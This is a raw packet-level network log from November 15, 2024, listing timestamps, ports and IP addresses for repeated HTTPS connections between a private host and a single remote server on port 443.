Nov 15, 2024 13:18:36.088339090 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.088506937 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.088634014 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.090632915 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.090652943 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.090713024 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.090787888 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.093518972 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.093580961 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.093663931 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.093683958 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.093719959 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.093729019 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.093766928 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.137204885 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.137250900 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.137269974 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.137276888 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.138916016 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.138947010 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.138966084 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.138971090 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.139904976 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.139949083 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.139966965 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.139976025 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.201437950 CET	443	49797	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.237817049 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.237875938 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.238044024 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.245341063 CET	49797	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.293026924 CET	49797	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.293045044 CET	443	49797	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.293581009 CET	49797	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.293587923 CET	443	49797	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.300239086 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.300256014 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.307385921 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.352417946 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.352435112 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.362838984 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.362849951 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.366935015 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.367003918 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.367091894 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.367250919 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.367265940 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.367589951 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.367630959 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.367687941 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.367928028 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.367942095 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.422012091 CET	443	49797	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.422096014 CET	443	49797	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.422204018 CET	49797	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.431406021 CET	49797	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.431431055 CET	443	49797	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.431474924 CET	49797	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.431483984 CET	443	49797	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.443048954 CET	49802	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.443109035 CET	443	49802	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.443212986 CET	49802	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.443620920 CET	49802	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.443636894 CET	443	49802	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.488842964 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.488930941 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.489029884 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.489223957 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.489264011 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.489301920 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.489317894 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.492187977 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.492213964 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:36.492288113 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.492433071 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:36.492445946 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.063586950 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.064330101 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.064368010 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.064852953 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.064858913 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.095932007 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.097507000 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.097515106 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.098483086 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.098486900 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.126501083 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.130521059 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.130548000 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.131017923 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.131026030 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.180782080 CET	443	49802	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.183912992 CET	49802	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.183949947 CET	443	49802	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.184434891 CET	49802	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.184441090 CET	443	49802	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.194818020 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.194971085 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.195033073 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.195240974 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.195264101 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.195283890 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.195290089 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.203438997 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.203511953 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.203584909 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.206970930 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.206995964 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.227557898 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.227629900 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.227689028 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.228014946 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.228028059 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.228050947 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.228055000 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.233949900 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.233988047 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.234054089 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.234266996 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.234277964 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.236119032 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.236627102 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.236634970 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.237206936 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.237210989 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.260271072 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.260354042 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.260407925 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.260654926 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.260679007 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.260689974 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.260695934 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.264278889 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.264329910 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.264415979 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.264560938 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.264573097 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.312055111 CET	443	49802	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.312133074 CET	443	49802	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.312201977 CET	49802	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.312453985 CET	49802	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.312478065 CET	443	49802	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.312489986 CET	49802	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.312495947 CET	443	49802	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.316163063 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.316210985 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.316288948 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.316448927 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.316464901 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.367976904 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.368069887 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.368136883 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.368454933 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.368477106 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.368489027 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.368494987 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.372576952 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.372603893 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.372668982 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.372895956 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.372905016 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.936506033 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.940524101 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.940541029 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.941344023 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.941349030 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.972608089 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.988869905 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.988894939 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.989597082 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:37.989603996 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:37.993182898 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.001183987 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.001198053 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.001935005 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.001940012 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.064783096 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.067670107 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.067836046 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.067900896 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.100608110 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.116705894 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.116767883 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.116820097 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.120259047 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.122251034 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.122258902 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.122858047 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.122864962 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.123183966 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.123219013 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.123235941 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.123244047 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.124553919 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.124553919 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.124571085 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.124587059 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.127213955 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.127244949 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.127295971 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.127599955 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.127799988 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.127815962 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.127829075 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.127834082 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.134071112 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.134085894 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.134097099 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.134103060 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.235996008 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.236063004 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.236145973 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.250339031 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.250375032 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.250469923 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.250471115 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.250479937 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.250482082 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.250502110 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.250524044 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.250580072 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.250626087 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.250658035 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.285449982 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.285449982 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.285471916 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.285482883 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.288963079 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.288974047 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.288985014 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.288990021 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.293540001 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.293565035 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.293958902 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.507334948 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.507379055 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.507464886 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.508008957 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.508034945 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.990214109 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:38.992470026 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:38.992507935 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.008115053 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.008162022 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.008249998 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.008430958 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.008446932 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.020817995 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.020857096 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.021794081 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.021809101 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.045110941 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.045159101 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.045368910 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.045574903 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.045594931 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.158098936 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.158360004 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.158430099 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.206012964 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.206067085 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.206089020 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.206096888 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.220307112 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.220362902 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.220455885 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.225006104 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.225023031 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.247941017 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.253854036 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.253868103 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.254728079 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.254731894 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.380851030 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.381048918 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.381232977 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.381825924 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.381850004 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.381860971 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.381866932 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.395278931 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.395345926 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.395412922 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.396451950 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.396476030 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.722095013 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.722908020 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.722927094 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.723499060 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.723505020 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.729399920 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.730005980 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.730026960 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.730493069 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.730498075 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.768940926 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.777302027 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.777339935 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.778181076 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.778187037 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.854336977 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.854434013 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.854520082 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.854757071 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.854777098 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.854794979 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.854800940 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.856750011 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.856813908 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.856864929 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.856990099 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.857008934 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.857018948 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.857024908 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.858520985 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.858581066 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.858805895 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.859015942 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.859030962 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.859229088 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.859256029 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.859343052 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.859441996 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.859451056 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.902035952 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.902209044 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.902273893 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.902304888 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.902354956 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.902744055 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.902764082 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.902775049 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.902781010 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.908039093 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.908080101 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.908215046 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.908428907 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:39.908442974 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.944987059 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:39.945590019 CET	49819	443	192.168.2.7	13.107.246.45
